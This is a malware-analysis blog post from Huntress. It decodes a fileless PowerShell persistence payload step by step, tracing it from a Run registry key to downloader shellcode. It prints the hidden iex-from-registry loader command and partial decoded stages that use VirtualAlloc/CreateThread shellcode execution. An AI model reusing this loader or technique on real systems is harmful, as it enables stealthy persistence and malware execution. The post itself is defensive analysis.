Deep Dive: Examining A PowerShell Payload

John Ferrell
Huntress
Published in
4 min readOct 11, 2018

--

We continue to see more and more malware that is “Living Off The Land”. In other words, it uses built-in tools and features of the operating system such as Windows PowerShell to perform malicious activity. In this post, we’ll examine a malicious payload executed using PowerShell. We found this on one of our Huntress partner’s hosts starting from a Run Key value.

An HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run value named ਀਀. That is odd. The command (value data) is also odd. PowerShell is reading another registry value with the same value name underHKLM\Software.

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -c "$val = (gp HKLM:SOFTWARE\'਀਀').'਀਀'; $d = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($val)); iex $d"

The data the PowerShell command read from the HKLM\Software\਀਀ value was a base64 string. (Not only does it look like base64 but the PowerShell command confirms it by using FromBase64String().)

JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB[SNIP]

We’ll use Python to decode the the base64 data:

>>> data = "JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0A[SNIP]"
>>> import base64
>>> base64.b64decode(data)
b'$\x00s\x00=\x00N\x00e\x00w\x00-\x00O\x00b\x00j\x00e\x00c\x00t\x00 \x00I\x00O\x00.\x00M\x00e\x00m\x00o\x00r\x00y\x00S\x00t\x00r\x00e\x00a\x00m\x00(\x00,\x00[\x00C\x00o\x00n\x00v\x00e\x00r\x00t\x00]\x00:\x00:\x00F\x00r\x00o\x00m\x00B\x00a\x00s\x00e\x006\x004\x00S[SNIP]

The decoded data (above) looks like a UTF-16 string (note all the \x00 bytes). As seen below, Python was able to turn this into something we can easily read.

>>> base64.b64decode(data).decode('utf-16')
'$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAL1Xe2/iuBb/u3yKa[SNIP]"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'

Now we have more PowerShell code and another base64 encoded string. This string would appear to be Gzipped as well, note the [IO.Compression.CompressionMode]::Decompress. We can take a peak by base64 decoding it and using Gzip to decompress it.

>>> import io
>>> import gzip
>>> fio = io.BytesIO(base64.b64decode("H4sIAAAAAAAAAL1Xe2[SNIP]"))
>>> f = gzip.GzipFile(fileobj=fio)
>>> f.read()
b'Set-StrictMode -Version 2\n\n$DoIt = @\'\nfunction func_get_proc_address {\n\tParam ($var_module, [SNIP]'
Full script that was Gzipped and base64 encoded

In the decoded script above, we can see another base64 encoded string (line 35), and two calls to func_get_proc_address, one for VirtualAlloc() (line 41) and another for CreateThread() (line 55). Malware often uses these functions, first allocating memory for shellcode then executing it with CreateThread().

If we base64 decode the new string, we can see that it contains what appears to be a UserAgent string. This shellcode likely makes an HTTP connection.

>>> base64.b64decode("/OiJAAAAYInlMdJki1Iw...")
b'\xfc\xe8\x89\x00\x00[SNIP]\x00\x00Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; ASU2JS)\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00Y1\xffWWWWQh:Vy\xa7\xff\xd5[SNIP]'

We can use shellen to disassemble the shellcode, but first we need to turn the base64 decoded bytes into a hex string.

>>> base64.b64decode("/OiJAAAAYInlMdJki1Iw...").hex()
fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff[SNIP]'

Now that we have the shellcode as a hex string, we can paste it into shellen’s disassembly prompt to see the assembly code.

About half way down, there are several instructions that stand out.

The last five instructions load WinInet, the Windows Internet API for accessing internet resources. Metasploit nicely documented shellcode that uses the same instructions to load WinInet. We found a downloader.

Attackers use “Living Off The Land” techniques to reduce the chance of being detected. Microsoft added enhanced logging to PowerShell version 5 which logs the complete PowerShell command/script. Logging is a key component to detecting these types of techniques.

Thanks to Matt Echols for reviewing and suggesting shellen for disassembling the shellcode.

Curious what’s lurking in your networks?

Hundreds of IT Departments and Managed Service Providers use Huntress to discover the advanced attacks that evade their existing security investments. We offer a 21-day trial of Huntress for an unlimited number of computers. Simply deploy our agent, setup a reporting integration into your ticketing system, and we’ll deliver step-by-step remediation procedures for each compromised host we discover. When the trial ends, our team can remotely uninstall our agents with a single click (no extra cleanup). Contact sales[at]huntresslabs.com for demos and more details.

--

--